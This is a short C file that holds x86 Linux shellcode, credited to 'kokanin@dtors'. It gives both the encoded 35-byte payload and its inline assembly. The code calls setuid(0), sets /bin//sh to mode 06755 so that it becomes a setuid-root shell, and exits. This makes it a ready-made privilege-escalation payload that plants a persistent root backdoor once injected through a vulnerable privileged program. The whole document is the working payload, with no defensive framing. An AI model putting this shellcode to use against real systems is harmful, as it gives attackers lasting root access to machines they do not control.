// setuid(0); chmod("/bin//sh", 06755); exit(0); kokanin@dtors; a staggering 35 bytes
// 6755 instead of 4755 to inherit any funny groups; this is x86 linux
// \x31\xdb\xb0\x17\xcd\x80\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x66\xb9\xed\x0d\xb0\x0f\xcd\x80\x31\xdb\xb0\x01\xcd\x80

main()
{
        __asm__("
                //setuid(0)
                xorl %ebx, %ebx
                movb $0x17, %al
                int $0x80
                //chmod(/bin/sh,06755)
                xorl %ebx, %ebx
                push %ebx
                pushl $0x68732f2f
                pushl $0x6e69622f
                mov %esp, %ebx
                movw $0xded, %cx
                movb $0xf, %al
                int $0x80
                //exit(0)
                xorl %ebx, %ebx
                movb $0x1, %al
                int $0x80
        ");


}
